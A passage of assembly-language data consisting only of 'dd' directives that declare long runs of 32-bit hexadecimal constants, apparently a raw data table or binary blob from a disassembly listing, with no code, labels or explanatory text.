dd 0B8CDDCA1h, 8587733h, 0E5A3CD54h, 10D52C5Fh, 296D1423h
dd 78A4D516h, 81A00DCBh, 7EFCE9A7h, 32707A6Ch, 85BB3B44h
dd 0EC4C7E61h, 0D3F78323h, 510738DDh, 9EC8989Eh, 0CFC307CCh
dd 23310706h, 0A584E54Ah, 0A30F994Eh, 96CBBB69h, 0EF4D928Fh
dd 6318B32h, 0A1A22D1Bh, 4CC01F65h, 457A58ADh, 542C52F2h
dd 81D7E321h, 0FC0AAF24h, 3D945CC2h, 0F243D37Bh, 57A67ADCh
dd 0EC36AE13h, 0ED0139FDh, 1BF2EC59h, 0CCEF6F01h, 0A4111E7Bh
dd 67405C12h, 0FB16B790h, 0F6F9C480h, 31F465A2h, 0EE4539D0h
dd 170E7732h, 4FC84641h, 21C2EC72h, 0BF1A99EAh, 32F2840Bh
dd 7646E229h, 36E57D13h, 4757B61Bh, 3EF23B0Ah, 0C2AC3063h
dd 517DA98Dh, 38531890h, 0D6D844D8h, 0CCD480C9h, 55B77303h
dd 0F2E9E314h, 270CB002h, 0DBD2EAD4h, 750D31AEh, 735AED0Ah
dd 0AB3D4D74h, 65754504h, 6BA025F8h, 904B56C0h, 82E83DCh
dd 443B1FFEh, 0C5573F72h, 7E0D17E8h, 270BD884h, 601464FEh
dd 16D2C2E3h, 0C5208DA7h, 6038845Bh, 31D3D9C4h, 98D60301h
dd 6BECB200h, 171D6F1Ah, 6A2C81Eh, 0D86A15BBh, 0CEF1674Dh
dd 82D21C1h, 34BD361Ah, 8471E50h, 94F13596h, 91AEBE98h
dd 0C19CF87Dh, 0F7BFBB83h, 0A6BAEC2Eh, 473F2872h, 9FD51811h
dd 61944385h, 9777F9C4h, 9670CD1Bh, 0F52C46DEh, 0FB84D3D1h
dd 0EC8D5CF7h, 0A62A2586h, 0D41B19F3h, 2C237849h, 213DF61h
dd 0FA92CCF8h, 7E62215Bh, 0D49834CBh, 77CEC653h, 1412C643h
dd 0E070B66Bh, 0F0A7EE00h, 0F1B6F099h, 0C91FD842h, 0BE783A85h
dd 4FBDF21Bh, 0DFF8881Bh, 70677D9Fh, 7266DBB0h, 87AA02DDh
dd 476617BDh, 3091517h, 2B8BFE38h, 0AEF3F341h, 0A817CFAAh
dd 65F2FA96h, 0E718F325h, 39F30A11h, 0B87406BFh, 982636EAh
dd 1E55CA44h, 4039AF52h, 0F71D01D9h, 0C96360A5h, 9B33DE2h
dd 736A7429h, 8FF3848h, 2FC9EB4Bh, 8F405DD3h, 6940FC79h
dd 83FB86E2h, 0BB3FD93Ch, 50C361ACh, 767211EEh, 0BFE7517Fh
dd 753BAFE1h, 0AEABECF1h, 0AC76B12Dh, 0F69A0252h, 1D39DA0Bh
dd 650675ACh, 9047821Dh, 0F7A0C436h, 5519406Eh, 86DD01A2h
dd 42E8F0E4h, 0CE267CB5h, 0CEE3C6D0h, 3D585514h, 24DD0238h
dd 0C0626D93h, 4F8845DBh, 438AC7C0h, 76C1E558h, 0CD069C31h
dd 9ACA576h, 0BCC0CAFFh, 40A53316h, 0D1125DE5h, 0E64DB3Ah
dd 35F41690h, 0C1B72402h, 0ADE5FA51h, 22FF553Fh, 50166691h
dd 6EB378E3h, 7C678353h, 7FC72BB7h, 8685BBA1h, 1EC1729Fh
dd 0F319469Ah, 5CA9670Fh, 24CBB09Dh, 13E463A0h, 7D55651Ch
dd 23D2F6FDh, 7FE9B1A4h, 2646735Eh, 83706380h, 0E6BE12DBh
dd 50B83B2Ah, 65DCEAF8h, 41296F7Bh, 47780B7h, 2AF45C24h
dd 1D0B2BE6h, 5769E139h, 0E1489FB4h, 0BD93EF76h, 7D4206DDh
dd 0D24A386Bh, 0FF6099D6h, 1609C981h, 0B216F2E4h, 3E77B91Fh
dd 128308D8h, 0E6D5FE99h
dd 0CEFD75D9h, 2FA51DC0h, 0A7815197h, 6DEFE817h, 0E43F04C9h
dd 4DDD70C2h, 8A3B340Dh, 0AAD1066Ah, 1D3E498Bh, 60C02B1Ah
dd 44A0DAA7h, 0FA40EB8Dh, 0B31D5EFDh, 58070BEh, 23111363h
dd 0C0127A68h, 6F117071h, 0DAF772A1h, 4EF04C5Ah, 8CDB340Ch
dd 67F0591Ch, 0B506238Dh, 37A04C29h, 0E641CAE9h, 3AC71463h
dd 2A67AA42h, 68D0148Eh, 8DB74D1Ch, 2F7C057h, 0EFADEC69h
dd 5A24D50h, 0B8D3E830h, 0F2E66074h, 7DEA669h, 32C61DB9h
dd 0B140F5CFh, 0D40ACE7Dh, 541A3F99h, 5F61501Ah, 0AE216A8Eh
dd 0ABF51E6Ch, 0DBD71740h, 93970418h, 518A9965h, 39B50E32h
dd 59242C16h, 5C712216h, 1E91542Bh, 0EAC71224h, 0A8B28CD5h
dd 0A4DF7C75h, 3D0374BCh, 81BF85AFh, 4A4F538Ch, 8B774F03h
dd 0F3A2B2E9h, 6E1D4CDFh, 0BFF1DB37h, 5AE6C104h, 0E80AA2DBh
dd 9D167D24h, 0F66CADE2h, 17455723h, 0B5ADBA6Ch, 0BB41E9ABh
dd 0B1489973h, 46AC8C3Eh, 5333BE62h, 0AA49D38h, 0EF0A396Bh
dd 423D1658h, 0CC1F9F0Bh, 0D7E0622Ch, 1C756476h, 6B934BD8h
dd 2B816EEDh, 0E6CABCD8h, 0B4E9373Bh, 25A26CBAh, 0E754058Fh
dd 0F2002675h, 40E184E6h, 3560165h, 0E31259CEh, 985BAB00h
dd 0FF5E9823h, 886072D8h, 165DB68Eh, 8CAC85DEh, 0FC54B531h
dd 2DD6EF5h, 4D4DAD3Bh, 81F2E081h, 425B5DA2h, 0FB02AE50h
dd 852DA69Eh, 661EC3A3h, 6AB3EE7Dh, 0DDFD5023h, 0EC6F22F1h
dd 0A594B6CFh, 9880D489h, 77F9DCFCh, 0DF04F47Fh, 5048448Dh
dd 6E4E8210h, 0ABE926BBh, 350FCD62h, 6439F796h, 0FA4A4F0Bh
dd 76B7AEB1h, 1B3BE7EFh, 50444895h, 29EA04BBh, 6815F48Ah
dd 0E313A4E5h, 571A51FFh, 1B5ECCC0h, 2762C609h, 8E7F2195h
dd 1371E61Dh, 0BF23FD3Bh, 0C46E0EF4h, 7A199F47h, 0A5701BEFh
dd 6559DF98h, 3FBD17E6h, 1EC17F21h, 6337C5A4h, 0A22311B7h
dd 989ADEA8h, 3ACA2B94h, 9A1E3758h, 3478DFE1h, 0D2AA097Eh
dd 82A5167Ch, 722F89FAh, 0C369AE1Ch, 8A000237h, 4FD34AE6h
dd 0B3BE335Eh, 0A3D9B442h, 0A73EA86Dh, 0B9D6C1DAh, 0B40C5C1Eh
dd 4616A86Dh, 99E62AB7h, 2A4615AEh, 9D1BC0BBh, 9066105h
dd 189FA049h, 34D7F83Eh, 8F29329Ch, 82DE3727h, 38F930D9h
dd 0C90989B1h, 1A9E513Ah, 4308B6Dh, 1A6DC7C4h, 3C11B0A3h
dd 0BC0A493Fh, 0F5B9DD5Ah, 95F5D890h, 95E187Dh, 3C9EA5A3h
dd 7EDBF928h, 3F18847Fh, 0A457C1D6h, 0A5DBD8Eh, 0D6EFBBF1h
dd 0D8F69948h, 64F7AD68h, 0D8E20EFDh, 0D5E334FAh, 891B8B77h
dd 1A1B3E2Dh, 69225674h, 0A8A63FA4h, 86910D75h, 0F5EA94ADh
dd 0B872FA17h, 64E631CEh, 1EE2E13Bh, 3F22D36Eh, 2BDBFF88h
dd 8D41972Ah, 0F7FD7891h, 1DD9A81Dh, 516FDDEEh, 222AC390h
dd 0DB983967h, 4484746Ch, 3135DA5Fh, 331AC4A1h, 5700C0DBh
dd 0A7020BACh, 0B08A1751h, 0F289DFFEh, 184DDD8Fh, 9510C6DEh
dd 0E363E1Eh, 9BE4CC69h, 37729B8Ah, 74157E5Ah, 0BEE5FF0h
dd 829C91E3h, 0EE00DC8Eh, 5ADEC60Eh, 4A4FAD0Bh, 166849FEh
dd 0A05F2F48h, 4E047187h, 9C605893h, 407CCA87h, 5AC1ADA6h
dd 2445BB9Ch, 0C67B9685h, 1C4C11ACh, 6BA61E06h, 93DB0766h
dd 0F17D4FFEh, 2C906F72h, 569D0090h, 0D2DF909Ah, 8CC5679Fh
dd 3002ED6h, 7FF5EA6Dh, 57DD45BCh, 43A9FE03h, 3157042Fh
dd 0AEBEAB44h, 4A796DB1h, 63C84E0Fh, 2F4A89C2h, 0CD862B23h
dd 0DA21A0C0h, 4AF40965h, 0C0A316D8h, 75A3C247h, 80CE76AFh
dd 331C9A3Bh, 57015850h, 891A17C6h, 6E8661BBh, 0B1575E2Bh
dd 3EED0E12h, 830C5BBh, 2D78CAFCh, 0BB35FF99h, 0AB6007DDh
dd 0C1F26A2Ch, 1DA6F329h, 0AA01A275h, 9139598Ah, 766B0019h
dd 495A2742h, 0F9DAD39Fh, 363D8050h, 0B4D0C388h, 99C06462h
dd 0A5F5252Ah, 7F70D4B9h, 7F62FE1Ch, 0FEBCB9A1h, 41E28FE8h
dd 0EBEB593Fh, 612EB53Dh, 2776ED2Ah, 6FB86DDFh, 0D01888EDh
dd 0D0BDB8BAh, 3CCEC7DFh, 302093B5h, 56E07C36h, 8EE3E971h
dd 565F9069h, 0D00CD621h, 20A2C44h, 0F7A8DCF3h, 7AB50135h
dd 0F4C35D51h, 6E4C88B3h, 0E470F031h, 3BF620EDh, 7FEBE0ABh
dd 333BBE9Fh, 799368FCh, 0C003876Eh, 658EBCA6h, 1ADA79F6h
dd 357DBFDDh, 2D49A991h, 0AEE8BE89h, 1A09B6F9h, 7E66C693h
dd 8EF515B7h, 45C0513Eh, 7913DA0Ch, 0E054872Bh, 0AAB3D468h
dd 0C2BC24D3h, 0B8DB1A1Eh, 0D0719ECDh, 8D4D8F8Ah, 7294822Fh
dd 6752082Fh, 32A09374h, 60FFC55Bh, 0C1122EB2h, 71DFA6C7h
dd 917E12BAh, 0FD18208h, 3D38EDDEh, 86C36213h, 34D64835h
dd 0CDD2A857h, 4C9A7722h, 95F173E0h, 73582E62h, 0C3AE2A3Dh
dd 0A0B2CCC2h, 0F4389955h, 0DE73B693h, 93CAA817h, 5161A3D3h
dd 7D3604F1h, 642BE20Bh, 0F48CC4EEh, 83E63AEEh, 725161C1h
dd 6C653213h, 151BCC97h, 0E8DA83E9h, 7AFDBF15h, 0ACCA03C8h
dd 0E8050EEFh, 0C7468FDDh, 0E137043Dh, 8C632707h, 0EB5108E8h
dd 6EFF015Dh, 337919F3h, 0B3BA4D6Ch, 1B9A97B8h, 745BADB2h
dd 443BDAC7h, 0DE28D85Dh, 0AEDB939Ch, 9A17F8B4h, 0D3F30A77h
dd 8265B27Ch, 2C91F4A4h, 7EF7C564h, 0A8640C44h, 6A1332Ch
dd 0B5715369h, 85DF480h, 379D166Bh, 8329A987h, 0B182FBEDh
dd 0F8663D00h, 0FE5C5372h, 0B66BA499h, 67508518h, 50C9366Dh
dd 87909933h, 0FAB1C352h, 0FF54E7EEh, 7CA1B3B5h, 71193F0Ch
dd 0A758BC74h, 67D0409Eh, 0DC700C8Dh, 8C8CCA66h, 97E7F8h
dd 1361539Ah, 0B5308309h, 3399DEBAh, 3F275E95h, 0FF45C3B8h
dd 59323AD6h, 0B446819h, 48F85940h, 8585C524h, 235E3B53h
dd 0AF0EC42Eh, 4328D7ECh, 0E0834D9h, 38DCA4FAh, 21B1DD72h
dd 0F1EB2445h, 0D6F89516h, 0CBBF1B48h, 8C1224C6h, 0A95422E4h
dd 0AD4E1B49h, 8BE3DE94h, 6598E224h, 0BFB5150Dh, 0D648F3C6h
dd 42109640h, 0BC9BBEADh, 7A8E243Ah, 0E74A9E65h, 0F2F0F30Dh
dd 0F29AF6EFh, 0E3A3FD0Dh, 8AE1044Ch, 66FC0B13h, 4AAC6250h
dd 513A8EF9h, 0AC70657Fh, 3A5EBA80h, 82BC06C6h, 0B34A6574h
dd 0B49B8F79h, 0CCF641C9h, 7B88EF5Ch, 6382B9D4h, 33CA70BEh
dd 0E244739Fh, 0F7FCD221h, 0B9E38B73h, 7A995280h, 0A066C0FFh
dd 70797095h, 846E90DCh, 0FA81E95Bh, 7D18AE46h, 7770F6C6h
dd 40E958A9h, 319A7B7Dh, 0E825AE44h, 9F7D956Ch, 4F24DC3Fh
dd 0DCA3C9DBh, 2D62C0Fh, 7CF1F778h, 0EFA85AF3h, 1730B4D5h
dd 0DCF6CDABh, 282F6FC3h, 0A5B235D0h, 0E3D05EF8h, 0B2FD9E2Fh
dd 44225615h, 0E6993B7Ah, 4ABACC5Eh, 73413A09h, 3748CA13h
dd 5A952728h, 16DF1CCCh, 5EA00908h, 0F4996665h, 0DF5844D5h
dd 80CDFF15h, 0CA7EBBD4h, 63A1D219h, 41D10A4Ah, 6EC005EFh
dd 5CE3F28Fh, 0E8B2D64Bh, 72051DDAh, 9ED1DE39h, 0E6A270BEh
dd 0AF1D10A4h, 9230ACBAh, 0D24BF796h, 0B527B07Ah, 8AC24FB8h
dd 124A27CCh, 63D32B54h, 0AA734FCh, 6A078E03h, 0F3479D31h
dd 4A68674h, 6C2E6D5Dh, 7C79CC46h, 0B74A162Fh, 8447673Eh
dd 0E4987245h, 1ACC7766h, 0B22C5ACFh, 1ED67D33h, 0F75F5D8Ch
dd 7FC82952h, 0CDF34FA1h, 0D73DECDCh, 0F156E861h, 624F4889h
dd 88B53E23h, 38B099Fh, 0AD1EB6F0h, 0CAE19D51h, 0A61CA51Bh
dd 0F28DE71Dh, 0C7B676A1h, 806E5498h, 7D45F44Dh, 74732FDFh
dd 0F6D33558h, 8940288Dh, 3BD8147Ah, 0A45D056h, 1DCE4799h
dd 0AD074E49h, 5B7A6CF4h, 615320BAh, 0E0441A15h, 6563669Fh
dd 6B54915Eh, 0B1A797CBh
dd 1F110DD9h, 0EDA76A77h, 7C97CDCFh, 0F149D46Bh, 0D5813C8Ch
dd 47A67978h, 71D9C966h, 0B99AA6DEh, 2CA08A43h, 0C9F326A4h
dd 0A130F6CDh, 0AAF38095h, 0C40F9417h, 5EA1FD8Dh, 2A5B1E03h
dd 0F4CFC85Ch, 0CA266F07h, 208FE02Dh, 0C01CBCA2h, 0DF092191h
dd 0C86EDADFh, 15E19D99h, 538DC6DAh, 745895DCh, 0E3AA1AE2h
dd 4AF330E8h, 968C97A9h, 22CEAFA1h, 0A0667079h, 0B6F83E5Dh
dd 3ADF09CFh, 7DCECC6h, 49F7DA39h, 89AAE0Bh, 15BB4C3Ch
dd 0C96A3214h, 1E5FBF4Dh, 9905406Eh, 0A7C64CBAh, 500778FBh
dd 6BDBB52Bh, 9EB0DBB0h, 6A764A09h, 323AF3D9h, 0B8D68E5Dh
dd 283A5919h, 7467C3Fh, 0D390139Bh, 1A043FBCh, 0CB1D88F8h
dd 0FADC57EFh, 0C84D49C4h, 638F9A1Fh, 0E1DF0A81h, 0D213B206h
dd 26CAB1DCh, 0A7A39848h, 19B15A94h, 15039742h, 31C269FBh
dd 67D83F2Dh, 0BE6AB1B8h, 0DAC32D32h, 0A22FCDCCh, 0D201734h
dd 2DF382B9h, 5221C309h, 0C4DA6430h, 4414AB67h, 1E8FB8BAh
dd 0B38EBFF0h, 73420939h, 2C6EF5AEh, 8490600Bh, 1B16D266h
dd 5EA4AA4Ah, 2EB32851h, 4CBB9B88h, 80B098E2h, 13C4DD9Ch
dd 47AFC6D1h, 0F46C0D19h, 0F9CBB634h, 0E045C4E8h, 785942E8h
dd 3200E6E5h, 0ABAD7762h, 0BD2EB86h, 57F00E86h, 0AA7FF452h
dd 6A459AE0h, 0CD4203CCh, 0B77D8B31h, 43B1222Bh, 0D5DF6B25h
dd 3330B8EEh, 9B436355h, 0C37CCF9h, 0CE672316h, 0E7A40627h
dd 0DDD7F78Ah, 0D4D623EFh, 8125357Dh, 0F22C55E4h, 0E9B2CC1Ah
dd 92C1F20Ah, 29320CEDh, 52260526h, 0C463ACA8h, 0C2FBB6B0h
dd 0B1648B2Fh, 0E8A37D13h, 0C8BB306Dh, 73D06ECAh, 0CB2C23F4h
dd 0F78A7EF2h, 1BADF9AAh, 0D6B22E74h, 0F9F179Ah, 0CB6CA37Dh
dd 13E6BB74h, 1718C680h, 71E37B35h, 8B24880Eh, 0AFD5E7D5h
dd 772229CFh, 0CB4613C0h, 28B6314Bh, 0D9761791h, 7A604C5Bh
dd 374E9469h, 1D9F2289h, 0CE3D3600h, 9A9F1B50h, 0F58F3740h
dd 0C6C89449h, 0FC54DC71h, 0F20772CAh, 22CE7BE3h, 0F2EA5591h
dd 0D7900EB9h, 9E50D85Ah, 0FEB6135Fh, 788FF7BEh, 0E1DA92E0h
dd 0EB13BA9Eh, 0DADF3253h, 8C28D9F9h, 0C0C0AE6Ah, 7A425E3Bh
dd 52E2D11Ch, 0B90A3C66h, 0BA2F37Dh, 0FCB32D64h, 466D809Dh
dd 20C64B95h, 0FBE775D5h, 15133AF7h, 215D6B3Ch, 253C47A5h
dd 4AC632B1h, 0D94DB91Bh, 5BB6EB93h, 0A72F09Dh, 0A05EDC2Bh
dd 192F030Ah, 34BE613h, 0D43664Ch, 5F87BE82h, 86A20777h
dd 42569803h, 5902333h, 5EEF1F04h, 0BD148220h, 6B4E4472h
dd 37695036h, 9D62CB9Eh, 0A5A2BF18h, 0F61B13E6h, 9BA4A432h
dd 0C2C1AC51h, 0FDBA5639h, 27CA159Fh, 0B48D2D04h, 0CCD41491h
dd 8A73ABBDh, 0D1FB2E51h, 0D79F6F66h, 4E856D81h, 7526011Bh
dd 104FAE01h, 0F948E017h, 76B07CB5h, 4805BE98h, 5F8BAC60h
dd 5D912D36h, 0CF2C5B25h, 0F43EBE36h, 62D7E7h, 409039EDh
dd 8E284B4Bh, 0C7A60FA2h, 64665FAFh, 0D2B03893h, 51F608B3h
dd 0DF0A6FB7h, 5B48AB3Ch, 8D5E8B3Ch, 0A372DB6Fh, 0E6FE703Eh
dd 2A3042Ch, 0DBFFAAEBh, 0C9D74C9Eh, 0FE680019h, 5D8048h
dd 0F50532F9h, 614C421Dh, 79AF0AEEh, 907E4563h, 4F53236h
dd 62C69AB9h, 8B7464C2h, 7622C135h, 8DAD08D7h, 0D67B111Fh
dd 0AEC6C356h, 0F13152B0h, 77892B87h, 662E2DFh, 0ACAD11F1h
dd 0C3A84AADh, 0FB7DF12Eh, 0AC7C8576h, 0D07E40E8h, 0A40D62EFh
dd 3EF39B2Ah, 0D992DFDAh, 9943174Ah, 0FF51CBA9h, 5B5D4BADh
dd 1F4E9503h, 2D2CD872h, 6BA60800h, 0EA0524CEh, 6360D9D4h
dd 0E6D2B6EFh, 66DCF8B5h, 544391EEh, 0E611D96Eh, 8B744B64h
dd 0A1F923E8h, 24068D48h, 0E86417F3h, 20A84156h, 66E0757h
dd 7C03866Fh, 0C23A42B3h, 0DD1E6B4Eh, 0BB2F2C11h, 435C8892h
dd 0EF54FBEDh, 218F23F9h, 86B5A0C0h, 85A6C190h, 0EABE4320h
dd 0D29D3CEEh, 6A7BD6F9h, 62E075D9h, 8E797AFBh, 0EA7A0BA9h
dd 44844B0Bh, 98B69DBFh, 0B580C429h, 2895D010h, 1B79F5BCh
dd 7883374Ch, 0E4FAD2ACh, 7281A968h, 0F21D8E1h, 8BF16C4Ah
dd 6A1DDAAEh, 29858AD4h, 49A6EA15h, 6ECF5244h, 36F3D83Eh
dd 67FBDD5Bh, 596CA585h, 3005B479h, 652431ABh, 9BD009ABh
dd 7EC88692h, 77E2FA41h, 1053EE20h, 38DB999Eh, 0C8812598h
dd 17FE1FB3h, 2126D931h, 1EDD990Bh, 0B6D82F5Dh, 9B2CB7A0h
dd 0FD6D8609h, 0E285A3B6h, 0F29893EAh, 5EA609D9h, 79BC6D18h
dd 3962E0Ah, 0C0ABCA5Bh, 4E311064h, 699BD613h, 9AEE9BB1h
dd 6F472D49h, 151A5359h, 5B80C4B9h, 59EE6F5Fh, 7B0A85EAh
dd 0CEC67FCCh, 4DCF59D7h, 0DF77FD1Ah, 6BADD4D7h, 0C772C410h
dd 6F5D2368h, 22C016AFh, 23E7CF37h, 6AAB5B0Dh, 1C944EDCh
dd 0E829BCDDh, 3809B20Ah, 8BEB81D3h, 0F3ABAF53h, 0ECF716DCh
dd 0A5704912h, 5415F294h, 91E0FB49h, 285229ADh, 0A050B98Dh
dd 1049AE2Fh, 0F6C84479h, 0FC524C3Ah, 0D9BF82ACh, 8008233Dh
dd 1E74CDB0h, 0E7C1113Dh, 19C35202h, 24E9E9B6h, 1870BC54h
dd 0DD2F4AA4h, 9E93830Bh, 9C09E881h, 0F118B992h, 3E81390Ch
dd 5FACEFA5h, 5E48E642h, 37F91313h, 7575C61Eh, 0C4249C54h
dd 380108A7h, 6B05681h, 67CD6D3Eh, 5B4AD036h, 0E0157C62h
dd 40B5362h, 0B5843C1Bh, 0B4495513h, 6E1E8137h, 644D067Bh
dd 0C6DC8830h, 1B47E46Dh, 88D78DECh, 8E17C2D3h, 5B8471AAh
dd 0B0674A8Fh, 63ECF8D0h, 5409114Ch, 0EBE49CA2h, 0ACAB2553h
dd 1BE69B5h, 5CD8686h, 0A9C10C90h, 71C36A40h, 65D905E8h
dd 262AA760h, 0DD46546Bh, 67B8B32Bh, 40CED8A3h, 9A77EC6Bh
dd 8CC87CC0h, 966D1E7Fh, 1F3F6119h, 1660E493h, 0DBBA1BDDh
dd 6FA4389h, 5C9C70EFh, 0D5E0B288h, 1B00C1EBh, 0F31217D2h
dd 351A7B74h, 2CC1F566h, 0E0D4D414h, 5548D1Ch, 57C2BD18h
dd 0E8F9494Ch, 65EA92FFh, 91AF16A8h, 42E7E926h, 48E0AE65h
dd 0FB63AFD4h, 5F630713h, 0C7EA4028h, 0EFEF7965h, 934F51Eh
dd 0ED5AC48Ah, 6D647946h, 23ECC120h, 0C2DC0C72h, 0CBC088h
dd 0FDBA9C82h, 0D15DFA7h, 0FDCC9F5h, 14846731h, 0D055C9C2h
dd 955CEAFh, 0F627299Eh, 2B4193DBh, 161C17E9h, 0EB8C2607h
dd 0C93903B1h, 0A528D297h, 0E7B21D4h, 0C05DA67Bh, 55DA5D98h
dd 2B7DBECEh, 0D82E0136h, 0A22B60B0h, 83949CE7h, 6CD99E37h
dd 60B4087h, 2BCD8310h, 0EFCAB40Dh, 9DFBCEF1h, 3AEDD27Ah
dd 0DEC8FF5h, 0BFC3C29h, 0FB51101Ch, 0F71E0F3h, 2E523625h
dd 0B60290B9h, 2C0480EBh, 0D45DA481h, 0B898C37Eh, 20DC9268h
dd 826EDB29h, 0DDE971BDh, 790BC290h, 0AA5719DDh, 8A7F792Eh
dd 6A206F65h, 0D1543843h, 0F7BF5A6Eh, 23547677h, 8454A01Fh
dd 2057291Ch, 9939863Bh, 441EDFD5h, 1143E8A9h, 0D704E059h
dd 0E637B537h, 281C7EA5h, 769E8879h, 48DCCBE8h, 7659818Ch
dd 0DB7B436h, 75876AFBh, 0E455A740h, 0F4296D81h, 0D4C8EC68h
dd 0D9C061E8h, 76E6BF3h, 0BE7EDFBAh, 7AA46AEEh, 0AC636C60h
dd 6DD50505h, 0EB841F2Fh, 0D517BFEFh, 4B8E7A4Dh, 91791A5Dh
dd 0FEE67691h, 0C0734D78h, 5BBD76D7h, 0F7DD384Dh, 0C490E68Eh
dd 39AEBA87h, 47FA742h, 4D66F3BCh, 0A245A894h, 72FE4619h
dd 79E0C80Ch, 0E24110F4h, 0F9E89ECAh, 9967D1B3h, 0A6E73CB5h
dd 1497FE3Ch, 25E3719Ch, 704A9323h, 30C5783Ch, 21F831AFh
dd 2725B5C4h, 0FF971850h, 14117ABBh, 43B2879Dh, 5FBF13F4h
dd 0AF9AA3C3h, 0CDF6977Bh
dd 0DE0D0BEAh, 540AA25Bh, 9082D807h, 186873C4h, 4EE0A040h
dd 89903BCBh, 0A9FAC6BCh, 5E88ACA0h, 0C559367Ah, 57E72245h
dd 0F5503FE1h, 660A27EAh, 1316106Fh, 0CC034EFBh, 9420D997h
dd 0CCB62778h, 65296B2Fh, 0CABB94BEh, 9CF0DE6Ah, 0A34B0DCh
dd 823CF94Eh, 0F5B7FBC1h, 4E9BE17Eh, 62A24C23h, 484DCB99h
dd 16B29C43h, 4315F9A9h, 2A0A274Ch, 51C12EC2h, 0C0DC597h
dd 7695DF65h, 45880442h, 0CD68AAB8h, 76764790h, 169A95F6h
dd 0B3E796E8h, 0EEB618A3h, 0BA52BABCh, 23A09A0Ah, 0DA1A64A3h
dd 0C6A4FD1h, 312866A1h, 4E53578Bh, 2A65B2A6h, 1F8F546Ch
dd 0E867D59Dh, 4AEB03E5h, 14DB3355h, 15624C2Fh, 16986438h
dd 0E151C54Bh, 6F590F1Fh, 9E136795h, 95ACCB7Bh, 9C26604Fh
dd 0F82D58F9h, 0F45F0ECCh, 40EBCC42h, 2F6E9165h, 4BB352D3h
dd 66E79956h, 484CE988h, 0DD095218h, 0A60F3E29h, 0E0B07DD7h
dd 0DD61E6F7h, 0C2F07373h, 4DB162A0h, 0C48FA3Ah, 0D5F983D8h
dd 3D26B1E1h, 0E7785E4Ch, 8835A2BCh, 0E4A339BAh, 0ED853B1Eh
dd 4C1062B0h, 9847490Bh, 0D49072A1h, 1E3BC4DBh, 15E69C64h
dd 5670E028h, 74C0E88Fh, 37B0A7F7h, 2D4E6992h, 0B69B8497h
dd 24E8A74Eh, 342C6A7h, 1FFDF35Bh, 0F2313D59h, 29E92C41h
dd 71F4FC69h, 72DA3001h, 0F804A32Ch, 842B0D30h, 718916F0h
dd 7B4CF9B5h, 33049DAEh, 71DD815Eh, 22B59177h, 0C2634E78h
dd 0BC9B9CCEh, 3848BAF3h, 0D8C927CEh, 32C12B0Fh, 0E1C81310h
dd 0A0E0A838h, 790FB03Ah, 575DE40Eh, 5960D622h, 5E827EDCh
dd 37449241h, 0B347BD1Fh, 4DE2A0CAh, 0C6DABBA9h, 0F147BE0Ch
dd 8D3EE0EAh, 188203DFh, 0A26714D3h, 0D953D5E7h, 7A320442h
dd 3AB1CF46h, 0A6855D24h, 0C4B05518h, 0AFEA0DB2h, 3645027Dh
dd 5A963DECh, 0F71E212Ah, 7FFEDC5Dh, 8717CA49h, 13C2E99Ch
dd 8B8CDDE8h, 6CB35324h, 287F9D49h, 3498F797h, 0E191790Eh
dd 0F892A947h, 993885FAh, 75BAB7E6h, 3ECEF4E7h, 4B1C4131h
dd 0ABCE040Fh, 10D9A32h, 417899E3h, 26E6DF46h, 0D58F43D2h
dd 4B83543h, 0D7EF8D8Bh, 9E10EB06h, 3D1B2FD9h, 990F0BA0h
dd 58CDE970h, 0BF36043Dh, 1BBE5E78h, 0B4D6840Fh, 552D74C0h
dd 7C993606h, 4DB6EFB2h, 0D3DB7266h, 6B4CFBABh, 0AB981A06h
dd 8FF641C3h, 517A51Ch, 890C1EDBh, 2C3F9BCAh, 1D7882EDh
dd 0A1D6A5B6h, 0DBFCB85Bh, 2C7ADB19h, 48799DC6h, 407105CFh
dd 0C0A2D655h, 23C296D4h, 0B1103CEh, 0F4AA4FB9h, 0A49A04B1h
dd 3428AA88h, 262EDBAEh, 0E31A351h, 0DF1025A0h, 27234E66h
dd 74CD675Dh, 8F81BD1Ah, 4E12048Ch, 0DD7696E7h, 1263B513h
dd 3A27D324h, 0FB7D8A85h, 1A8F921Ch, 0A58F24DBh, 0A592EE08h
dd 1EB1702Ah, 8F9D85A7h, 0BCF4C1C3h, 0C713BA2Eh, 6095E1C5h
dd 0C8ED0488h, 0F125BD69h, 0E7AC8457h, 6965A589h, 6F12150Eh
dd 2D34891Ah, 34815BBh, 5E4739DBh, 0CB3B252Ah, 2F59012Eh
dd 8C76B301h, 0AD3F141Bh, 33277091h, 0E1DD9658h, 0FF86724Ah
dd 1AF3B93Bh, 0DD358BF1h, 0CB487C61h, 3C844707h, 4AE02144h
dd 2E2AD584h, 0BBCC2C2Bh, 2B7A42E0h, 30C72A97h, 774812C7h
dd 0C447FACDh, 0DA203066h, 0D417C4F1h, 4FFD09F9h, 5EBFF2D1h
dd 75549594h, 98C61E8Fh, 26820A6Fh, 742389A3h, 29C36303h
dd 46D017D4h, 98DD002h, 7AEB6603h, 5487B7C9h, 0ED8E8A77h
dd 0DC186B8Ch, 0CC046B09h, 0D2CD8768h, 6EDD25ABh, 0AE8B65F9h
dd 298D4E0Dh, 363EFAF9h, 4BA20A38h, 17E83019h, 736C7B82h
dd 0FFF77738h, 88FFE54Ch, 0FCD4E5C3h, 0A03F479Eh, 27A3C7C6h
dd 0BA2E5120h, 0C5BE4A82h, 997D92CAh, 7D63927Bh, 1B05E363h
dd 3E18D0CDh, 7BF9E211h, 0DDCED4CFh, 0C73CB366h, 86218BD4h
dd 4810EAE8h, 951B3C2Ch, 469F1373h, 0B9DC077Ah, 0BB7E72DEh
dd 0AE80DECDh, 8D26AEABh, 0F7FE4381h, 4D8A0549h, 9BB3177h
dd 7FCC4846h, 7FD5A89Fh, 351C4974h, 0E1E47BE8h, 431B5DADh
dd 9DEEA5D2h, 86F96B82h, 32C2ADB3h, 6CF9D190h, 0B1FC2DCDh
dd 60924031h, 0C9C19C44h, 3EA7B9D4h, 72E6483Ch, 0AC9C9C64h
dd 0D4F4B816h, 0FCB56B51h, 95B26F43h, 97AC2AA4h, 50C5399Eh
dd 4EC344A7h, 0DF215C7Dh, 2B9E634Eh, 21AECCBEh, 0F03D1876h
dd 326BBA91h, 3AB7CE6h, 2F4F55FFh, 2B9BDE09h, 0F72E7483h
dd 48523962h, 41585388h, 0F76D1DD3h, 66915ECh, 0D1E9502h
dd 686DA918h, 39B2E26Ch, 0DF383059h, 379E0E6h, 70CAAF09h
dd 4476565Ah, 0F7D6DD2Eh, 0A82708ADh, 0C8EB9C98h, 31A7B9ECh
dd 70E64810h, 0A96C9C44h, 619CB8D6h, 0CD72A862h, 0F718DDC8h
